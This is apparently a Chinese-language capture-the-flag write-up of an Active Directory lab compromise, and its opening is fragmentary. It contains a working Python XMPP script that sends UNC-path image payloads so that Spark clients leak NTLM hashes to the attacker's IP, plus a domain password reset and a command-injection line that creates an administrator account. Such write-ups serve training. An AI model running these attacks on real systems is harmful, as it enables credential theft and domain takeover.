【内网渗透】从域内凭据泄露到内网沦陷:Ra靶场渗透全记录

admin 2026-05-20 04:49:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细记录了针对WindCorp公司内网渗透的完整过程,从外网端口扫描发现ActiveDirectory域环境开始,通过Kerberos、LDAP等服务识别域结构,利用OpenfireJabber服务器等入口点进行横向移动,最终目标是获取域控权限并控制整个内网。文章提供了具体的技术操作步骤和工具使用示例,属于典型的红队实战经验分享。 综合评分: 85 文章分类: 内网渗透,红队,实战经验,WEB安全,渗透测试


好吧没有…..

重新打开网站观察一下

 的恶意 UNC 路径。

  • 攻击链路
    1. 攻击者通过内网或聊天群聊,向目标受害者发送一条包含恶意 UNC 路径(指向攻击者控制的内网主机)的消息或图片链接。
    2. 当受害者的 Spark 2.8.3 客户端尝试去加载或渲染这个图片时,Windows 操作系统会自动发起 SMB 请求。
    3. 在这个过程中,受害者计算机会自动向攻击者的机器发送当前 Windows 登录用户的 Net-NTLM Hash

    漏洞参考链接:https://github.com/theart42/cves/blob/master/cve-2020-12772/CVE-2020-12772.md

    成功获得第一个 flag,继续横向突破

    apple@macos security % smbclient //10.48.129.160/Users -U 'lilyle%ChangeMe#1234' -W windcorp.thm
    Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it
    Try "help" to get a list of possible commands.
    smb: \> ls
      .                                  DR        0  Sun May  3 06:05:58 2020
      ..                                 DR        0  Sun May  3 06:05:58 2020
      Administrator                       D        0  Sun May 10 19:18:11 2020
      All Users                       DHSrn        0  Sat Sep 15 15:28:48 2018
      angrybird                           D        0  Fri May  1 20:59:20 2020
      berg                                D        0  Fri May  1 20:59:20 2020
      bluefrog579                         D        0  Fri May  1 20:59:20 2020
      brittanycr                          D        0  Sun May  3 07:36:46 2020
      brownostrich284                     D        0  Fri May  1 20:59:20 2020
      buse                                D        0  Tue May 19 20:15:06 2026
      Default                           DHR        0  Fri May  1 07:35:11 2020
      Default User                    DHSrn        0  Sat Sep 15 15:28:48 2018
      desktop.ini                       AHS      174  Sat Sep 15 15:16:48 2018
      edward                              D        0  Fri May  1 20:59:20 2020
      freddy                              D        0  Sun May  3 07:30:16 2020
      garys                               D        0  Fri May  1 20:59:20 2020
      goldencat416                        D        0  Tue May 19 21:46:06 2026
      goldenwol                           D        0  Fri May  1 20:59:20 2020
      happ                                D        0  Fri May  1 20:59:20 2020
      happyme                             D        0  Fri May  1 20:59:20 2020
      Luis                                D        0  Fri May  1 20:59:20 2020
      orga                                D        0  Fri May  1 20:59:20 2020
      organicf                            D        0  Fri May  1 20:59:20 2020
      organicfish718                      D        0  Tue May 19 21:41:59 2026
      pete                                D        0  Fri May  1 20:59:20 2020
      Public                             DR        0  Thu Apr 30 22:35:47 2020
      purplecat                           D        0  Fri May  1 20:59:20 2020
      purplepanda                         D        0  Fri May  1 20:59:20 2020
      sadswan                             D        0  Fri May  1 20:59:20 2020
      sadswan869                          D        0  Tue May 19 21:41:23 2026
      sheela                              D        0  Fri May  1 20:59:20 2020
      silver                              D        0  Fri May  1 20:59:20 2020
      smallf                              D        0  Fri May  1 20:59:20 2020
      spiff                               D        0  Fri May  1 20:59:20 2020
      tinygoos                            D        0  Fri May  1 20:59:20 2020
      whiteleopard                        D        0  Fri May  1 20:59:20 2020
    
      15587583 blocks of size 4096. 10795723 blocks available
    smb: \>
    

    buse                                D        0  Tue May 19 20:15:06 2026

    这个时间很新,一般靶场文件都会比较久,在内网中如果一个用户、文件夹、文件动作频率很高的话,那应该是要考核NTLM 那些东西了。

    访问 buse

    smb: \> cd buse
    smb: \buse\> ls
    NT_STATUS_ACCESS_DENIED listing \buse\*
    smb: \buse\>
    

    ACL(访问控制列表)限制, NT_STATUS_ACCESS_DENIED

    试了其他几个用户也全部限制

    那就试试CVE-2020-12772

    攻击路线

    [ 攻击者 (Lilyle) ]

       │
    
    &nbsp; &nbsp;│ 1. 发送聊天消息: <img src="\\攻击者IP\share\test.jpg"> (XMPP Port 5222)
    
    &nbsp; &nbsp;▼
    

    [ Openfire 服务器 ]

    &nbsp; &nbsp;│
    
    &nbsp; &nbsp;│ 2. 路由并转发消息给目标用户
    
    &nbsp; &nbsp;▼
    

    [ 受害者客户端 (Spark 2.8.3) ]

    &nbsp; &nbsp;│
    
    &nbsp; &nbsp;│ 3. 强行解析 HTML 富文本,向底层 Windows 递交 UNC 路径
    
    &nbsp; &nbsp;▼
    

    [ 受害者 Windows 系统 ]

    &nbsp; &nbsp;│
    
    &nbsp; &nbsp;│ 4. 触发 SSO 机制,自动通过 SMB 发起网络认证 (SMB Port 445)
    
    &nbsp; &nbsp;▼
    

    [ 攻击者拦截器 (Responder) ] ───► [ 成功截获受害者的 Net-NTLMv2 Hash! ]

    OK~

    先准备个小脚本:

    import socket
    import base64
    import time
    
    def send_spark_exploit():
    &nbsp; &nbsp;&nbsp;# ----------------- 1. 配置基础信息 -----------------
    &nbsp; &nbsp; TARGET_IP =&nbsp;"10.48.129.160"
    &nbsp; &nbsp; TARGET_PORT = 5222
    &nbsp; &nbsp; DOMAIN =&nbsp;"windcorp.thm"
    
    &nbsp; &nbsp; USERNAME =&nbsp;"lilyle"
    &nbsp; &nbsp; PASSWORD =&nbsp;"ChangeMe#1234"
    
    &nbsp; &nbsp;&nbsp;# 扩大打击面:将靶场中所有可能值班的轮询 Bot 全部加入群发名单
    &nbsp; &nbsp; TARGET_USERS = ["buse",&nbsp;"goldencat416",&nbsp;"organicfish718"]
    
    &nbsp; &nbsp;&nbsp;# 你的 Mac 在 utun4 上的真实 VPN IP
    &nbsp; &nbsp; YOUR_ATTACKER_IP =&nbsp;"192.168.132.34"
    
    &nbsp; &nbsp;&nbsp;# 升级版 Payload:加入标准的 HTML 闭合标签,确保更完美的客户端富文本渲染
    &nbsp; &nbsp; PAYLOAD = f'<html><body><img src="\\\\{YOUR_ATTACKER_IP}\\share\\test.jpg" /></body></html>'
    
    &nbsp; &nbsp;&nbsp;# ----------------- 2. 循环群发诱饵 -----------------
    &nbsp; &nbsp;&nbsp;for&nbsp;user&nbsp;in&nbsp;TARGET_USERS:
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"\n[*] --------------------------------------------------")
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[*] 正在尝试连接 Openfire 发射信道 -> 目标: {user} ...")
    
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 建立原生 TCP 链接
    &nbsp; &nbsp; &nbsp; &nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    &nbsp; &nbsp; &nbsp; &nbsp; try:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.connect((TARGET_IP, TARGET_PORT))
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; def recv_data():
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.3)
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;s.recv(4096).decode('utf-8', errors='ignore')
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# --- XMPP 协议纯手工握手 ---
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Step 1: 初始化 XMPP 流
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; init_stream = f'<stream:stream to="{DOMAIN}" xmlns="jabber:client" xmlns:stream="http://etherx.jabber.org/streams" version="1.0">'
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.send(init_stream.encode())
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recv_data()
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Step 2: 发送 PLAIN 明文认证请求
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; auth_str = f"\x00{USERNAME}\x00{PASSWORD}"
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; auth_base64 = base64.b64encode(auth_str.encode()).decode()
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; auth_packet = f'<auth xmlns="urn:ietf:params:xml:ns:xmpp-sasl" mechanism="PLAIN">{auth_base64}</auth>'
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.send(auth_packet.encode())
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recv_data()
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Step 3: 认证成功后根据协议重新开流
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.send(init_stream.encode())
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recv_data()
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Step 4: 绑定资源标识
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; bind_packet =&nbsp;'<iq type="set" id="b1"><bind xmlns="urn:ietf:params:xml:ns:xmpp-bind"><resource>Spark</resource></bind></iq>'
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.send(bind_packet.encode())
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recv_data()
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Step 5: 宣告上线状态
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.send('<presence/>'.encode())
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recv_data()
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# --- 致命一击:发射富文本注入 Payload ---
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 身份验证成功!正在向 {user} 发送强制认证诱饵...")
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; msg_packet = f'<message to="{user}@{DOMAIN}" type="chat" id="exp"><body>{PAYLOAD}</body></message>'
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.send(msg_packet.encode())
    
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.5)
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 针对 {user} 的诱饵发送完毕。")
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.close()
    
    &nbsp; &nbsp; &nbsp; &nbsp; except Exception as e:
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[-] 连接或发送失败 (目标 {user}): {e}")
    
    &nbsp; &nbsp;&nbsp;print("\n"&nbsp;+&nbsp;"="*50)
    &nbsp; &nbsp;&nbsp;print("[+] 所有目标诱饵发射完毕!请立刻死死盯住 Responder 窗口!")
    &nbsp; &nbsp;&nbsp;print("="*50 +&nbsp;"\n")
    
    if&nbsp;__name__ ==&nbsp;'__main__':
    &nbsp; &nbsp; send_spark_exploit()
    

    虽然脚本问题还挺多,不过 Gemini 回答还挺可爱,至少情绪价值给足 小 ps:

    拿下域控:

    *Evil-WinRM* PS C:\Users\buse\Desktop> whoami /all
    
    USER INFORMATION
    ----------------
    
    User Name &nbsp; &nbsp; SID
    ============= ============================================
    windcorp\buse S-1-5-21-555431066-3599073733-176599750-5777
    
    GROUP INFORMATION
    -----------------
    
    Group Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Attributes
    =========================================== ================ ============================================ ==================================================
    Everyone &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-1-0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Mandatory group, Enabled by default, Enabled group
    BUILTIN\Users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-545 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
    BUILTIN\Pre-Windows 2000 Compatible Access &nbsp;Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-554 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
    BUILTIN\Account Operators &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-548 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
    BUILTIN\Remote Desktop Users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-555 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
    BUILTIN\Remote Management Users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-32-580 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\NETWORK &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\Authenticated Users &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-11 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\This Organization &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-15 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Mandatory group, Enabled by default, Enabled group
    WINDCORP\IT &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Group &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-5-21-555431066-3599073733-176599750-5865 Mandatory group, Enabled by default, Enabled group
    NT AUTHORITY\NTLM Authentication &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Well-known group S-1-5-64-10 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Mandatory group, Enabled by default, Enabled group
    Mandatory Label\Medium Plus Mandatory Level Label &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;S-1-16-8448
    
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Description &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;State
    ============================= ============================== =======
    SeMachineAccountPrivilege &nbsp; &nbsp; Add workstations to domain &nbsp; &nbsp; Enabled
    SeChangeNotifyPrivilege &nbsp; &nbsp; &nbsp; Bypass traverse checking &nbsp; &nbsp; &nbsp; Enabled
    SeIncreaseWorkingSetPrivilege Increase a process working&nbsp;set&nbsp;Enabled
    
    USER CLAIMS INFORMATION
    -----------------------
    
    User claims unknown.
    
    Kerberos support&nbsp;for&nbsp;Dynamic Access Control on this device has been disabled.
    *Evil-WinRM* PS C:\Users\buse\Desktop>
    

    Account Operators (账户操作员),这意味着我们可以修改所有账户,除了管理员账户。

    在C:\scripts 下发现两个文件

    *Evil-WinRM* PS C:\scripts> ls
    
    &nbsp; &nbsp; Directory: C:\scripts
    
    Mode &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;LastWriteTime &nbsp; &nbsp; &nbsp; &nbsp; Length Name
    ---- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;------------- &nbsp; &nbsp; &nbsp; &nbsp; ------ ----
    -a---- &nbsp; &nbsp; &nbsp; &nbsp; 5/3/2020 &nbsp; 5:53 AM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 4119 checkservers.ps1
    -a---- &nbsp; &nbsp; &nbsp; &nbsp;5/19/2026 &nbsp; 9:01 AM &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 31 log.txt
    
    *Evil-WinRM* PS C:\scripts>
    

    checkservers 检查服务器

    *Evil-WinRM* PS C:\scripts>&nbsp;type&nbsp;checkservers.ps1
    # reset the lists of hosts prior to looping
    $OutageHosts&nbsp;=&nbsp;$Null
    # specify the time you want email notifications resent for hosts that are down
    $EmailTimeOut&nbsp;= 30
    # specify the time you want to cycle through your host lists.
    $SleepTimeOut&nbsp;= 45
    # specify the maximum hosts that can be down before the script is aborted
    $MaxOutageCount&nbsp;= 10
    # specify who gets notified
    $notificationto&nbsp;=&nbsp;"[email protected]"
    # specify where the notifications come from
    $notificationfrom&nbsp;=&nbsp;"[email protected]"
    # specify the SMTP server
    $smtpserver&nbsp;=&nbsp;"relay.windcorp.thm"
    
    # start looping here
    Do{
    $available&nbsp;=&nbsp;$Null
    $notavailable&nbsp;=&nbsp;$Null
    Write-Host (Get-Date)
    
    # Read the File with the Hosts every cycle, this way to can add/remove hosts
    # from the list without touching the script/scheduled task,
    # also hash/comment (#) out any hosts that are going for maintenance or are down.
    get-content C:\Users\brittanycr\hosts.txt | Where-Object {!($_&nbsp;-match&nbsp;"#")} |
    ForEach-Object {
    &nbsp; &nbsp;&nbsp;$p&nbsp;=&nbsp;"Test-Connection -ComputerName&nbsp;$_&nbsp;-Count 1 -ea silentlycontinue"
    &nbsp; &nbsp; Invoke-Expression&nbsp;$p
    if($p)
    &nbsp; &nbsp; {
    &nbsp; &nbsp; &nbsp;# if the Host is available then just write it to the screen
    &nbsp; &nbsp; &nbsp;write-host&nbsp;"Available host ---> "$_&nbsp;-BackgroundColor Green -ForegroundColor White
    &nbsp; &nbsp; &nbsp;[Array]$available&nbsp;+=&nbsp;$_
    &nbsp; &nbsp; }
    else
    &nbsp; &nbsp; {
    &nbsp; &nbsp; &nbsp;# If the host is unavailable, give a warning to screen
    &nbsp; &nbsp; &nbsp;write-host&nbsp;"Unavailable host ------------> "$_&nbsp;-BackgroundColor Magenta -ForegroundColor White
    &nbsp; &nbsp; &nbsp;$p&nbsp;= Test-Connection -ComputerName&nbsp;$_&nbsp;-Count 1 -ea silentlycontinue
    &nbsp; &nbsp; &nbsp;if(!($p))
    &nbsp; &nbsp; &nbsp; &nbsp;{
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# If the host is still unavailable for 4 full pings, write error and send email
    &nbsp; &nbsp; &nbsp; &nbsp; write-host&nbsp;"Unavailable host ------------> "$_&nbsp;-BackgroundColor Red -ForegroundColor White
    &nbsp; &nbsp; &nbsp; &nbsp; [Array]$notavailable&nbsp;+=&nbsp;$_
    
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;($OutageHosts&nbsp;-ne&nbsp;$Null)
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!$OutageHosts.ContainsKey($_))
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# First time down add to the list and send email
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Write-Host&nbsp;"$_&nbsp;Is not in the OutageHosts list, first time down"
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$OutageHosts.Add($_,(get-date))
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$Now&nbsp;= Get-date
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$Body&nbsp;=&nbsp;"$_&nbsp;has not responded for 5 pings at&nbsp;$Now"
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Send-MailMessage -Body&nbsp;"$body"&nbsp;-to&nbsp;$notificationto&nbsp;-from&nbsp;$notificationfrom&nbsp;`
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -Subject&nbsp;"Host&nbsp;$_&nbsp;is down"&nbsp;-SmtpServer&nbsp;$smtpserver
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# If the host is in the list do nothing for 1 hour and then remove from the list.
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host&nbsp;"$_&nbsp;Is in the OutageHosts list"
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(((Get-Date) -&nbsp;$OutageHosts.Item($_)).TotalMinutes -gt&nbsp;$EmailTimeOut)
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {$OutageHosts.Remove($_)}
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
    &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# First time down create the list and send email
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Write-Host&nbsp;"Adding&nbsp;$_&nbsp;to OutageHosts."
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$OutageHosts&nbsp;= @{$_=(get-date)}
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;$Body&nbsp;=&nbsp;"$_&nbsp;has not responded for 5 pings at&nbsp;$Now"
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Send-MailMessage -Body&nbsp;"$body"&nbsp;-to&nbsp;$notificationto&nbsp;-from&nbsp;$notificationfrom&nbsp;`
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;-Subject&nbsp;"Host&nbsp;$_&nbsp;is down"&nbsp;-SmtpServer&nbsp;$smtpserver
    &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
    &nbsp; &nbsp; &nbsp; &nbsp;}
    &nbsp; &nbsp; }
    }
    # Report to screen the details
    $log&nbsp;=&nbsp;"Last run:&nbsp;$(Get-Date)"
    write-host&nbsp;$log
    Set-Content -Path C:\scripts\log.txt -Value&nbsp;$log
    Write-Host&nbsp;"Available count:"$available.count
    Write-Host&nbsp;"Not available count:"$notavailable.count
    Write-Host&nbsp;"Not available hosts:"
    $OutageHosts
    Write-Host&nbsp;""
    Write-Host&nbsp;"Sleeping&nbsp;$SleepTimeOut&nbsp;seconds"
    sleep&nbsp;$SleepTimeOut
    if&nbsp;($OutageHosts.Count -gt&nbsp;$MaxOutageCount)
    {
    &nbsp; &nbsp;&nbsp;# If there are more than a certain number of host down in an hour abort the script.
    &nbsp; &nbsp;&nbsp;$Exit&nbsp;=&nbsp;$True
    &nbsp; &nbsp;&nbsp;$body&nbsp;=&nbsp;$OutageHosts&nbsp;| Out-String
    &nbsp; &nbsp; Send-MailMessage -Body&nbsp;"$body"&nbsp;-to&nbsp;$notificationto&nbsp;-from&nbsp;$notificationfrom&nbsp;`
    &nbsp; &nbsp; &nbsp;-Subject&nbsp;"More than&nbsp;$MaxOutageCount&nbsp;Hosts down, monitoring aborted"&nbsp;-SmtpServer&nbsp;$smtpServer
    }
    }
    while&nbsp;($Exit&nbsp;-ne&nbsp;$True)
    *Evil-WinRM* PS C:\scripts>&nbsp;type"C:/scripts/log.txt"
    Last run: 05/19/2026 09:03:23
    *Evil-WinRM* PS C:\scripts>
    

    注意这一段:

    $p&nbsp;=&nbsp;"Test-Connection -ComputerName&nbsp;$_&nbsp;-Count 1 -ea silentlycontinue"
    Invoke-Expression&nbsp;$p
    
    • 它读取的是 C:\Users\brittanycr\hosts.txt。 brittanycr 这个用户可以通过 Account Operators 权限重置她的密码并登录,可以完全控制 **hosts.txt** 的内容
    • 代码执行点: 脚本通过 get-content C:\Users\brittanycr\hosts.txt 循环读取主机名,并将其带入 Invoke-Expression。如果在 hosts.txt 中写入恶意 PowerShell 命令(利用 PowerShell 的注入特性),脚本就会直接执行这些命令。
    *Evil-WinRM* PS C:\scripts> net user brittanycr NewPassword123! /domain
    The&nbsp;command&nbsp;completed successfully.
    
    *Evil-WinRM* PS C:\scripts>
    

    切换用户:

    apple@macos tryhackme % evil-winrm -i windcorp.thm -u buse -p&nbsp;'NewPassword123!'
    

    winrm好像无法登录,改用策略

    smbclient -U&nbsp;'brittanycr'&nbsp;//windcorp.thm/Users
    Can't load /opt/homebrew/etc/smb.conf - run testparm to debug it
    Password for [WORKGROUP\brittanycr]:
    Try "help" to get a list of possible commands.
    smb: \brittanycr\> ls
    &nbsp; . &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; D &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp;Sun May &nbsp;3 07:36:46 2020
    &nbsp; .. &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;D &nbsp; &nbsp; &nbsp; &nbsp;0 &nbsp;Sun May &nbsp;3 07:36:46 2020
    &nbsp; hosts.txt &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; A &nbsp; &nbsp; &nbsp; 22 &nbsp;Sun May &nbsp;3 21:44:57 2020
    
    &nbsp; 15587583 blocks of size 4096. 10788086 blocks available
    smb: \brittanycr\>
    

    在本地上创建恶意 hosts,上传替换原来的文件

    ;net user asunb sdcds45QAdwd2e /add;net localgroup Administrators asunb /add
    

    尝试用新用户登录:

    apple@macos tryhackme % nxc smb windcorp.thm -u asunb -p&nbsp;'sdcds45QAdwd2e'
